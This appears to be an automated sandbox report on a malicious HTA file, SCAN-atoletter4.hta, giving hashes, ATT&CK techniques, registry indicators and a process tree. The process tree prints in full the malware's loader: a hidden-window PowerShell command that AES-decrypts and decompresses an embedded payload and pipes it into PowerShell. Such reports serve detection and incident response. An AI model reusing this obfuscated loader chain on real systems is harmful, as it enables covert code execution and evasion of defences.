3f04d3267f818beec7a5f29a7780282bdf862a71669230b796b77700a494b55d

Resubmissions

21-01-2025 13:39

250121-qx27kswrck 10

21-01-2025 11:57

250121-n4kvrsskfv 10

21-01-2025 11:43

250121-nvpglaslfq 10

21-01-2025 11:26

250121-njtbea1qcp 10

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
21-01-2025 11:26

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General

Target

163.5.169.28/SCAN-atoletter4.hta
Size

1.1MB
MD5

4bde59d84e71c0ff88901e353dbe3eec
SHA1

3000483b2add41716148b8e11fa283f6db6a9cf1
SHA256

992820187d1f871cb816dfb5839c0a71dfde38626d6947b4d912d04cf585454d
SHA512

38a11e2bbba9b26f5651d09f072109cb1b77717c53322a47147e1560016d409c528639be48f2044f038a6b24bad5cf0df200a83ca80c5a27d49fe5b91ecbb0b4
SSDEEP

1536:sSdyqS4pxRNGWLPcX/WhEdbVhtmr/l1vcmafSIm+lIWFXvD+v/j53mD0QMYPhgg9:ldHzpxdPcPWhqxki

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2280	powershell.exe
2768	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2848	powershell.exe
2768	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2280	powershell.exe
Token: SeDebugPrivilege	2768	powershell.exe
Token: SeDebugPrivilege	2848	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1588 wrote to memory of 2280	1588	mshta.exe	30
PID 1588 wrote to memory of 2280	1588	mshta.exe	30
PID 1588 wrote to memory of 2280	1588	mshta.exe	30
PID 1588 wrote to memory of 2280	1588	mshta.exe	30
PID 2280 wrote to memory of 372	2280	powershell.exe	32
PID 2280 wrote to memory of 372	2280	powershell.exe	32
PID 2280 wrote to memory of 372	2280	powershell.exe	32
PID 2280 wrote to memory of 372	2280	powershell.exe	32
PID 372 wrote to memory of 2768	372	cmd.exe	34
PID 372 wrote to memory of 2768	372	cmd.exe	34
PID 372 wrote to memory of 2768	372	cmd.exe	34
PID 372 wrote to memory of 2768	372	cmd.exe	34
PID 372 wrote to memory of 2848	372	cmd.exe	35
PID 372 wrote to memory of 2848	372	cmd.exe	35
PID 372 wrote to memory of 2848	372	cmd.exe	35
PID 372 wrote to memory of 2848	372	cmd.exe	35

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\163.5.169.28\SCAN-atoletter4.hta"
1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1588
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $SWFMmek = 'AAAAAAAAAAAAAAAAAAAAACrZRvtkqB+SHe0p7lRkPZCNffnqqNClKC3So/ocYip4sIyLwLexWoYN7uQd/Ni71WfNRscuLftSXeNk7UaJGUgjzJYfkZsxtrK18RTQmLCW1pIarAJy+MJgSjZUVMYQWdzwp+win+j10i0G4ZEMS3Xwvcmtwp4oreEie4++NHNNK2xEseGT95QYttS79tMZNR2aXcwdmz1PdnPCFNNhhpyh/taE0Q+6n78bMLTSIE13KTsORNrtCzIgtr3Y0F1MB9lb8eEcPuCw7QaX9ogPRTbwqpZkgv7Y5HUJp0VxDjKql+k0p/kyTsOYemh+qvVkfCSk6ARTZtYYlK+XrkeiPImuz2YM4VwLp2nVNOX6JctQj0eiDB4VQm9iv0T+VU4hA8HLk0q8btV2B0AH8v/kyr25MRM3hDYzSanUXD7xVrSQeftYOypgt7WjJ8vNUUaoRo/O2fOth9pSsJc2PUN5u/1nv/4Qj+WJixqxHp0l9Em2HDhYTsuYx1zddhj9Fjo1g/q5KegORNjsCZpTNiQ8bZ5+3m5h7Ae23py3/VmFOHs+7jARtXTvc5QaAw8PHsDPwSLOKvttyOVKC9nRw5gMdke8E209RPYi+barMiX+Y0P6pDZX47hNfd4uxyY8pnxh1Ysda+Pkk3HMSro15we0nkfamNuIcZ8nJ3XBLA5P/MCMBjuT0W22qHkYVUta9v5eWbqcqW01JrayDLz8V4s/+gKnsbVKwzyoKLtl2cG3vRKpMIzrkc4lxk3l8hOrWqFA4t1Vwx+QeDMmheCrhjT7XLVkej9g76eA9HU2lkuHzolmO0lqP4jtT3xUaKVm5vxJBNDNWGmucLBb42Qvtj/9p4lzILR2oNWO5KzDentXeSmfn7IB+FlXrUi9slXX3mXyPhgx2Fp0HvzP5urbnjmftQaHY1jea7V8sMzWju3VTNpAUYnsOS+P15fXwV7T+C5zvH2sdtqlGPmRZC/xpTwT0CRGhfvZR2OnzvHMZ3Xj1Wi+9A72v/hxGHJ2b1bUvX50vw==';$ketcPRkA = 'U0phVmZDTVVXbkJUdW5GeHZJUFFNamlmTFpJYmtVVkQ=';$MStdDqI = New-Object 'System.Security.Cryptography.AesManaged';$MStdDqI.Mode = [System.Security.Cryptography.CipherMode]::ECB;$MStdDqI.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$MStdDqI.BlockSize = 128;$MStdDqI.KeySize = 256;$MStdDqI.Key = [System.Convert]::FromBase64String($ketcPRkA);$ebtMY = [System.Convert]::FromBase64String($SWFMmek);$tioyoVVE = $ebtMY[0..15];$MStdDqI.IV = $tioyoVVE;$UxxTAdKnB = $MStdDqI.CreateDecryptor();$SnQEJbKME = $UxxTAdKnB.TransformFinalBlock($ebtMY, 16, $ebtMY.Length - 16);$MStdDqI.Dispose();$XYnpOOa = New-Object System.IO.MemoryStream( , $SnQEJbKME );$ZfRyjXCe = New-Object System.IO.MemoryStream;$MHLhPIhJc = New-Object System.IO.Compression.GzipStream $XYnpOOa, ([IO.Compression.CompressionMode]::Decompress);$MHLhPIhJc.CopyTo( $ZfRyjXCe );$MHLhPIhJc.Close();$XYnpOOa.Close();[byte[]] $sLQaEk = $ZfRyjXCe.ToArray();$GdmkIOs = [System.Text.Encoding]::UTF8.GetString($sLQaEk);$GdmkIOs | powershell - }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2280
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c powershell.exe $SWFMmek = 'AAAAAAAAAAAAAAAAAAAAACrZRvtkqB+SHe0p7lRkPZCNffnqqNClKC3So/ocYip4sIyLwLexWoYN7uQd/Ni71WfNRscuLftSXeNk7UaJGUgjzJYfkZsxtrK18RTQmLCW1pIarAJy+MJgSjZUVMYQWdzwp+win+j10i0G4ZEMS3Xwvcmtwp4oreEie4++NHNNK2xEseGT95QYttS79tMZNR2aXcwdmz1PdnPCFNNhhpyh/taE0Q+6n78bMLTSIE13KTsORNrtCzIgtr3Y0F1MB9lb8eEcPuCw7QaX9ogPRTbwqpZkgv7Y5HUJp0VxDjKql+k0p/kyTsOYemh+qvVkfCSk6ARTZtYYlK+XrkeiPImuz2YM4VwLp2nVNOX6JctQj0eiDB4VQm9iv0T+VU4hA8HLk0q8btV2B0AH8v/kyr25MRM3hDYzSanUXD7xVrSQeftYOypgt7WjJ8vNUUaoRo/O2fOth9pSsJc2PUN5u/1nv/4Qj+WJixqxHp0l9Em2HDhYTsuYx1zddhj9Fjo1g/q5KegORNjsCZpTNiQ8bZ5+3m5h7Ae23py3/VmFOHs+7jARtXTvc5QaAw8PHsDPwSLOKvttyOVKC9nRw5gMdke8E209RPYi+barMiX+Y0P6pDZX47hNfd4uxyY8pnxh1Ysda+Pkk3HMSro15we0nkfamNuIcZ8nJ3XBLA5P/MCMBjuT0W22qHkYVUta9v5eWbqcqW01JrayDLz8V4s/+gKnsbVKwzyoKLtl2cG3vRKpMIzrkc4lxk3l8hOrWqFA4t1Vwx+QeDMmheCrhjT7XLVkej9g76eA9HU2lkuHzolmO0lqP4jtT3xUaKVm5vxJBNDNWGmucLBb42Qvtj/9p4lzILR2oNWO5KzDentXeSmfn7IB+FlXrUi9slXX3mXyPhgx2Fp0HvzP5urbnjmftQaHY1jea7V8sMzWju3VTNpAUYnsOS+P15fXwV7T+C5zvH2sdtqlGPmRZC/xpTwT0CRGhfvZR2OnzvHMZ3Xj1Wi+9A72v/hxGHJ2b1bUvX50vw==';$ketcPRkA = 'U0phVmZDTVVXbkJUdW5GeHZJUFFNamlmTFpJYmtVVkQ=';$MStdDqI = New-Object 'System.Security.Cryptography.AesManaged';$MStdDqI.Mode = [System.Security.Cryptography.CipherMode]::ECB;$MStdDqI.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$MStdDqI.BlockSize = 128;$MStdDqI.KeySize = 256;$MStdDqI.Key = [System.Convert]::FromBase64String($ketcPRkA);$ebtMY = [System.Convert]::FromBase64String($SWFMmek);$tioyoVVE = $ebtMY[0..15];$MStdDqI.IV = $tioyoVVE;$UxxTAdKnB = $MStdDqI.CreateDecryptor();$SnQEJbKME = $UxxTAdKnB.TransformFinalBlock($ebtMY, 16, $ebtMY.Length - 16);$MStdDqI.Dispose();$XYnpOOa = New-Object System.IO.MemoryStream( , $SnQEJbKME );$ZfRyjXCe = New-Object System.IO.MemoryStream;$MHLhPIhJc = New-Object System.IO.Compression.GzipStream $XYnpOOa, ([IO.Compression.CompressionMode]::Decompress);$MHLhPIhJc.CopyTo( $ZfRyjXCe );$MHLhPIhJc.Close();$XYnpOOa.Close();[byte[]] $sLQaEk = $ZfRyjXCe.ToArray();$GdmkIOs = [System.Text.Encoding]::UTF8.GetString($sLQaEk);$GdmkIOs | powershell -
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:372
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe $SWFMmek = 'AAAAAAAAAAAAAAAAAAAAACrZRvtkqB+SHe0p7lRkPZCNffnqqNClKC3So/ocYip4sIyLwLexWoYN7uQd/Ni71WfNRscuLftSXeNk7UaJGUgjzJYfkZsxtrK18RTQmLCW1pIarAJy+MJgSjZUVMYQWdzwp+win+j10i0G4ZEMS3Xwvcmtwp4oreEie4++NHNNK2xEseGT95QYttS79tMZNR2aXcwdmz1PdnPCFNNhhpyh/taE0Q+6n78bMLTSIE13KTsORNrtCzIgtr3Y0F1MB9lb8eEcPuCw7QaX9ogPRTbwqpZkgv7Y5HUJp0VxDjKql+k0p/kyTsOYemh+qvVkfCSk6ARTZtYYlK+XrkeiPImuz2YM4VwLp2nVNOX6JctQj0eiDB4VQm9iv0T+VU4hA8HLk0q8btV2B0AH8v/kyr25MRM3hDYzSanUXD7xVrSQeftYOypgt7WjJ8vNUUaoRo/O2fOth9pSsJc2PUN5u/1nv/4Qj+WJixqxHp0l9Em2HDhYTsuYx1zddhj9Fjo1g/q5KegORNjsCZpTNiQ8bZ5+3m5h7Ae23py3/VmFOHs+7jARtXTvc5QaAw8PHsDPwSLOKvttyOVKC9nRw5gMdke8E209RPYi+barMiX+Y0P6pDZX47hNfd4uxyY8pnxh1Ysda+Pkk3HMSro15we0nkfamNuIcZ8nJ3XBLA5P/MCMBjuT0W22qHkYVUta9v5eWbqcqW01JrayDLz8V4s/+gKnsbVKwzyoKLtl2cG3vRKpMIzrkc4lxk3l8hOrWqFA4t1Vwx+QeDMmheCrhjT7XLVkej9g76eA9HU2lkuHzolmO0lqP4jtT3xUaKVm5vxJBNDNWGmucLBb42Qvtj/9p4lzILR2oNWO5KzDentXeSmfn7IB+FlXrUi9slXX3mXyPhgx2Fp0HvzP5urbnjmftQaHY1jea7V8sMzWju3VTNpAUYnsOS+P15fXwV7T+C5zvH2sdtqlGPmRZC/xpTwT0CRGhfvZR2OnzvHMZ3Xj1Wi+9A72v/hxGHJ2b1bUvX50vw==';$ketcPRkA = 'U0phVmZDTVVXbkJUdW5GeHZJUFFNamlmTFpJYmtVVkQ=';$MStdDqI = New-Object 'System.Security.Cryptography.AesManaged';$MStdDqI.Mode = [System.Security.Cryptography.CipherMode]::ECB;$MStdDqI.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$MStdDqI.BlockSize = 128;$MStdDqI.KeySize = 256;$MStdDqI.Key = [System.Convert]::FromBase64String($ketcPRkA);$ebtMY = [System.Convert]::FromBase64String($SWFMmek);$tioyoVVE = $ebtMY[0..15];$MStdDqI.IV = $tioyoVVE;$UxxTAdKnB = $MStdDqI.CreateDecryptor();$SnQEJbKME = $UxxTAdKnB.TransformFinalBlock($ebtMY, 16, $ebtMY.Length - 16);$MStdDqI.Dispose();$XYnpOOa = New-Object System.IO.MemoryStream( , $SnQEJbKME );$ZfRyjXCe = New-Object System.IO.MemoryStream;$MHLhPIhJc = New-Object System.IO.Compression.GzipStream $XYnpOOa, ([IO.Compression.CompressionMode]::Decompress);$MHLhPIhJc.CopyTo( $ZfRyjXCe );$MHLhPIhJc.Close();$XYnpOOa.Close();[byte[]] $sLQaEk = $ZfRyjXCe.ToArray();$GdmkIOs = [System.Text.Encoding]::UTF8.GetString($sLQaEk);$GdmkIOs
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2768
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2848

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
471344c92a918c6b34b2943001d77274

SHA1
2d58538dfd0c57b640df2128e44f746967e988a0

SHA256
ecae90ddb1130ff545f403d1333bd921df51933a31fa6eec7a0f993b8c2a0632

SHA512
2427047487f5268cc6e31c9f09b35c0ff481ef92448f1760db75cd234a671f5adc2521bc4cf0afc3620385847a3aebf531cad44fa0b10c06d4b224f9b3927ee5

Download Submit
memory/2280-2-0x00000000028C0000-0x0000000002900000-memory.dmp

Filesize
256KB

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